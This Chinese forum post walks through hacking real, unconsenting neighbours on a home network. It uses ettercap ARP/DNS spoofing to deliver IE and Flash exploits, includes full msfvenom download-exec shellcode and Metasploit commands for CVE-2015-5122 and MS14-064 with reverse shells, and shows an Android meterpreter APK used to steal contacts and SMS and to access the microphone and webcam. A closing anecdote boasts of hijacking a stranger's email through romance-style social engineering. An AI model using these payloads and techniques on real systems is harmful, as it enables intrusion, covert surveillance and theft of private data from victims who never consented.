内网渗透大杂烩

内网渗透大杂烩 2016-07-15 21:18:1959 googler 1466 闲来无事，就想着写一篇内网渗透大杂烩的文章，之前用莲花仙子账号写的两篇内网渗透文章分别为集群智慧云安服渗透测试某大型局域网、集群智慧云安服渗透测试某大型局域网网关防火墙，现如今号都被删了，哎！之前那个账号10rank，多么可惜啊！好了我们长话短说步入正题！ 第一篇  利用CVE-2014-6332 IE全版本漏洞入侵邻居XP电脑 首先开篇的是入侵邻居的电脑，邻居是个电脑盲，我所了解的情况是2011年买了电脑，几乎不怎么用，而且也不安装杀毒，估计补丁都不会打吧，就星期天用一下，正好今天周末，于是乎就开始下面的渗透过程。首先net view（这里就不用nmap扫了）如图： Zhongce那台是我的，我们ping一下ping BBLBX6GQE624W88如图： USER-20150620EZ这个就不用Ping了是我的物理主机名，OK，既然没打补丁，那就不用nessus扫描了，直接测试CVE-2014-6332 IE全版本漏洞了，我们需要搭建一个web环境这里我用小旋风，先配置一个远控木马如图： 192.168.0.104是我的物理ip，然后选择域名上线方式，生成木马丢到web跟木下，下面我们用k8飞刀工具来生成一个网马，点编码然后输入木马地址：http://192.168.0.104:89/server.exe 然后点右键hacking-0day-ie全版本漏洞，生成网马如图： 然后我们把网名名称改为：index.htm然后丢到kai linux /var/www/html/下面 我们的思路是通过ettercap来dns+arp攻击的方法来使xp种木马，对了记得执行service apache2 start命令启动kali web服务，下面我们来设置一下etteracap的etter.dns如图： 192.168.0.113为kali的ip地址，然后ettercap -G启动图形化界面，点 然后选择eth0 然后选择hostlist，如图： 前面我们已经Ping过了xp系统ip为192.168.0.116，那么我们就把这个目标加到Target1，然后把网关地址加到Target2，然后在按照如图操作： 然后选择Plugins，选择 双击以后，然后开始 大概过了半分钟发现有主机上线，哈哈欺骗成功了 我们打开屏幕看看 他肯定是看视屏然后发现看不了了就打开hao123测试网络，哈哈我们不要搞什么破坏卸载掉木马。。。这样集群智慧云安服渗透测试邻居XP的渗透过程就完结了。。。 第二篇  flash 0day之手工修改代码利用msf制作下载者实例入侵演示 利用到的工具： Msf Ettercap Adobe Flash CS6 Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份 下面我们就开始演示入侵，利用msf生成shellcode,首先打开msf执行use windows/download_exec，show options 如图： 然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址，这里我们用远控马，远控配置使用不再详细说明。。。如图: 然后执行generate -t dword生成shellcode，如下： 复制代码到文本下便于我们一会编辑flash exp，如下： 0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31, 0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0, 0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038, 0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489, 0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854, 0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51, 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e, 0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757, 0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff, 0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6, 0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5, 0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853, 0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, 0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000 下面我们来修改flash 0day exp，需要修改三个文件，分别为： 先修改ShellWin32.as，部分源代码如图： 我们需要把标记处[]中的代码改成用msf生成的代码，修改后如下 然后保存，ShellWin64.as的修改方法如上述，不再演示，下面我们来修改myclass.as,这里需要说明一下，因为此exp生成的利用程序，不能直接自动触发flash漏洞，也就是需要点击按钮才可以，实际上在做渗透的时候需要把它搞得更完美，所以就需要修改，修改方法：搜索myclass的某个字符doc.addchild(btn);如图： 换行在后面加一句TryExpl();注意是l不是数字1，然后如图： 然后点保存，下面我们来编译一下，打开 exp1.fla然后点文件-发布，看看编译没错误 然后我们把生成的 exp1.swf丢到kailinux 的/var/www/html下： 然后把这段代码好好编辑一下

Please wait, the requested page is loading...

织梦内容管理系统
注意：192.168.0.109是kali的ip地址，这时候我们需要service apache2 start启动一下web服务，然后将上面的html保存为index.htm同样丢到kali web目录下，测试访问链接存在如图： 下面我们用ettercap欺骗如图： 下面我们随便访问个网站看看： 我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功，木马上线如图： 我们看另一台 提示这个错误，说明木马是成功被下载执行了，只是由于某些原因没上线而已。。。不管他了，第二篇over。。。 第三篇  cve2015-5122漏洞实例演示虚拟机 关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图： search cve-2015-5122如图： 下面我们敲如下命令： use exploit/multi/browser/adobe_flash_opaque_background_uaf set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.0.109 set URIPATH /                        /*根目录*/ set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址 set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用 然后show options如图： 一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图： 然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115 Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf 成功了，这时候我们断开ettercap，如图： Screenshot如图： 第四篇  MS14-064 漏洞测试入侵win7 我发现msf下的exp只能针对带有powershell的机器进行攻击，我们用如下方法来搞演示 开启msf执行命令use exploits/windows/browser/ms14_064_ole_code_execution如图： 然后执行命令 set PAYLOAD windows/meterpreter/reverse_tcp set AllowPowershellPrompt true Set LHOST 192.168.0.109 set SRVHOST 192.168.0.109 Set uripath share Set srvport 80 show options 下面我们来访问本地地址成功如图： 第五篇  msf+ettercap入侵邻居安卓手机 首先启动msf 先用kali生成一个安卓木马，如下命令： Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk 为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻 然后进入msf use exploit/multi/handler set payload android/meterpreter/reverse_tcp set LHOST 192.168.0.109 //ip为kaili的ip set LPORT 44444 //端口一定要与前面生成的木马的端口一致 Exploit 下面我们开启ettercap -G 我物理IP为 别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的， 下面我们来设置一下 在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：,因为apk文件嘛要想直接提示下载，用iframe语句就OK了 我们试着访问一下看看，别出什么错，访问正常。。 下面我们开始攻击 大概过了5分钟多，发现反弹成功了，哈哈老大叔还不错一看日本AV哈哈估计上劲就安装了。。。 执行命令 dump_contacts    --》这个是导出电话 dump_sms                --》这个是导出信息 record_mic     Record audio from the default microphone for X seconds webcam_chat    Start a video chat webcam_list    List webcams webcam_snap    Take a snapshot from the specified webcam webcam_stream  Play a video stream from the specified webcam 生成电话薄txt 我们打开看一下电话薄 打开短信看一下 我们同时欺骗成DroidJack木马，使用方法如图： 切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口否则上线不了 文件管理如图： 短信管理如图： 查看安装app如图： 查看浏览过的网页如图： 文章所需的工具及word格式打包： 链接: http://pan.baidu.com/s/1o8LB2Lc 密码: wy4p 自评TCV:3 总结：抽时间搞了2天，在搞得同时觉得还是蛮享受的，加入吐司，咋闲余时间分享一些学习经验也是一件何乐而不为的事情啊，虽然自己的水平有限，但是还是十分愿意分享一些东西，希望在吐司与大家共同进步、共同学习，也祝大家在2016年，工作顺利，家庭幸福美满，也祝各位小伙伴技术能有更高的提高，谢谢观看！作者：googler 补充：看到各位老表的回复有话要说 哈哈，我邻居中途有跑过来问我怎么断网了，我说可能路由器死了，等会就好，哈哈没办法有时候渗透就是这样，也许存在攻击者与被攻击者水平高低的问题，也可能也就是他么的好奇害死猫，我记得之前做社工，我的名字邮箱，163的，我之前踩点发现绑定在一个QQ邮箱上，而且没有设置安全码，后来我就在那个人的博客上查找资料，然后查找到以后发现他是某北人在北京打工，然后我就用女小号加他和他聊了2-3天，我说我是北京科技大学的，然后我说我有时间去看你，那小伙子整天起来玩梦幻，正好我也玩梦幻，就和他聊的很熟，后来我说我能不能借用一下你的QQ号，假装看他有没有和别的女生来往（故作在乎他，假装要和他好），他说他百分之百没有女朋友不信把QQ账号密码丢我，结果我在一个夜高风黑的晚上，把网易邮箱给搞成我的，然后还设置了安全码，然后拉黑他！至此一个社工就结束了！哈哈，这个案例，我只能说，攻击有时候是在各种巧合，各种真真假假、各种峰回路转的时候成功的，再比如那些做苹果ID的发邮箱，标题写务必查看，一点就中XSS了，作为搞安全的我，明知道这样有风险，但是我看那个标题，忍不住还是想点一下，这一点就不中招了么。。 好了，说这么多就是想告知大家，做渗透的时候，只要有一线希望就要百倍努力，大家了解过国家队的人，应该深有体会，hack，没有什么不可能，只有离成功更近，只要你努力的话。。。。OK，装逼就到此了 传送门